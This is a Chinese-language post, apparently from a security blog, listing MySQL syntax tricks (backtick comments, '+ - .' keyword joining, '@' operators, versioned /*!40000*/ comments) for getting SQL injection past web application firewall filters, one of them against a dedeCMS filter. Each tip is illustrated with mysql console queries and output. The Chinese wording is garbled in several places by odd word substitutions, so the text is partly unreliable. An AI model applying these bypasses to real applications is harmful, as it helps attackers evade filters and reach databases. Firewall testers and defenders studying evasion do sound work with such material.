本文中,笔者与大年夜家分享了几个WAF绕过的技能。对一些大年夜家都体味的技能如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql:
tips1: 奇异的 ` (格局输出表的阿谁节制符)
过空格 过一些正则。
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
一个更好玩的技能,这个` 节制符可以当注释符用(限制前提)。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
`>usage : where id =’0′`’***xcomment on.
tips2:奇异的“- + .”:
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一向在说关头字如何过?过滤一个from … 就是如许连起来过)
tips3: @
mysql> select@^1.from qs_admins;
+------+
| @^1. |
+------+
| NULL |
+------+
这个是bypass 曾dedeCMS filter。
或下面如许也是可以的:
tips4:mysql function() as *** 也能够不消as 和空格
mysql> select-count(id)test from qs_admins;
+------+
| test |
+------+
| -1 |
+------+
1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新机关 版本号(这个可能有些过时了。)
mysql> /*!40000select*/ id from qs_admins;